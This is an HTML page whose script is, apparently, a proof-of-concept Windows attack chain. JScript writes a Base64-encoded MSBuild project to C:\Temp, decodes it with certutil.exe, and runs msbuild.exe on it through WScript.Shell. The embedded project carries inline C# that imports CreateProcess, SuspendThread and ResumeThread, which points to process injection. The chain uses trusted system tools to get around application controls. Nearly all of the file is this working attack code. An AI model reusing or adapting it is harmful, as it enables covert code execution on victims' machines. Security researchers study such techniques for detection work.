<html>
<script>



var fsoForReading = 1;
var fsoForWriting = 2;
// Reference MSDN https://msdn.microsoft.com/en-us/library/aa265347(v=vs.60).aspx

function LoadStringFromFile(filename)
{
    var fso, f, data;
    fso = new ActiveXObject("Scripting.FileSystemObject");
    f = fso.OpenTextFile(filename, fsoForReading, true); 
    data = f.ReadAll();
    f.Close();
    return data;
}

function SaveStringToFile(filename, textString)
{
    var fso, f;
    fso = new ActiveXObject("Scripting.FileSystemObject");
    f = fso.OpenTextFile(filename, fsoForWriting, true); //Create File If It Dooesn't Exist
    f.Write(textString);
    f.Close();
}
/*
Test Cases: Basic Funtionality
SaveStringToFile("f.txt", "Hello World!");
var x = LoadStringFromFile("C:\\Tools\\f.txt");
WScript.Echo(x);
*/


// Output of 'certuil.exe /encode MessageBox32.dll MessageBox32.txt
// Why bother writing a shitty Base64 encode/decode routine, when certutil will do it for you.
// 

var msbuildPayload= "-----BEGIN CERTIFICATE-----\
PFByb2plY3QgVG9vbHNWZXJzaW9uPSI0LjAiIHhtbG5zPSJodHRwOi8vc2NoZW1h\
cy5taWNyb3NvZnQuY29tL2RldmVsb3Blci9tc2J1aWxkLzIwMDMiPg0KICA8IS0t\
IFRoaXMgaW5saW5lIHRhc2sgZXhlY3V0ZXMgYyMgY29kZS4gLS0+DQogIDwhLS0g\
QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29ya1x2NC4wLjMwMzE5XG1z\
YnVpbGQuZXhlIHF1ZXVlLnhtbCAtLT4NCiAgPFRhcmdldCBOYW1lPSJIZWxsbyI+\
DQogICA8RnJhZ21lbnRFeGFtcGxlIC8+DQogICA8Q2xhc3NFeGFtcGxlIC8+DQog\
IDwvVGFyZ2V0Pg0KICA8VXNpbmdUYXNrDQogICAgVGFza05hbWU9IkZyYWdtZW50\
RXhhbXBsZSINCiAgICBUYXNrRmFjdG9yeT0iQ29kZVRhc2tGYWN0b3J5Ig0KICAg\
IEFzc2VtYmx5RmlsZT0iQzpcV2luZG93c1xNaWN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kJCXB1YmxpYyBzdGF0aWMgZXh0ZXJu\
IGJvb2wgQ3JlYXRlUHJvY2VzcyhzdHJpbmcgbHBBcHBsaWNhdGlvbk5hbWUsIHN0\
cmluZyBscENvbW1hbmRMaW5lLCBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywg\
SW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywNCgkJCQkJCQkJCQkgYm9vbCBiSW5o\
ZXJpdEhhbmRsZXMsIFByb2Nlc3NDcmVhdGlvbkZsYWdzIGR3Q3JlYXRpb25GbGFn\
cywgSW50UHRyIGxwRW52aXJvbm1lbnQsDQoJCQkJCQkJCQkJc3RyaW5nIGxwQ3Vy\
cmVudERpcmVjdG9yeSwgcmVmIFNUQVJUVVBJTkZPIGxwU3RhcnR1cEluZm8sIG91\
dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsNCgkJ\
CQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJCQlwdWJsaWMgc3RhdGlj\
IGV4dGVybiB1aW50IFJlc3VtZVRocmVhZChJbnRQdHIgaFRocmVhZCk7DQoJCQkJ\
W0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildDQoJCQkJcHVibGljIHN0YXRpYyBl\
eHRlcm4gdWludCBTdXNwZW5kVGhyZWFkKEludFB0ciBoVGhyZWFkKTsNCgkJCX0N\
CgkJCQkNCgkJCQ0KCQkJDQogICAgICAgIF1dPg0KICAgICAgPC9Db2RlPg0KICAg\
IDwvVGFzaz4NCiAgPC9Vc2luZ1Rhc2s+DQo8L1Byb2plY3Q+\
-----END CERTIFICATE-----";


SaveStringToFile("C:\\Temp\\msb.txt", msbuildPayload);
var r = new ActiveXObject("WScript.Shell").Run("certutil.exe /decode C:\\Temp\\msb.txt C:\\Temp\\msbuild.csproj", false);
var x = new ActiveXObject("WScript.Shell").Run("C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\msbuild.exe C:\\\Temp\\msbuild.csproj", false);
</script>

</html>

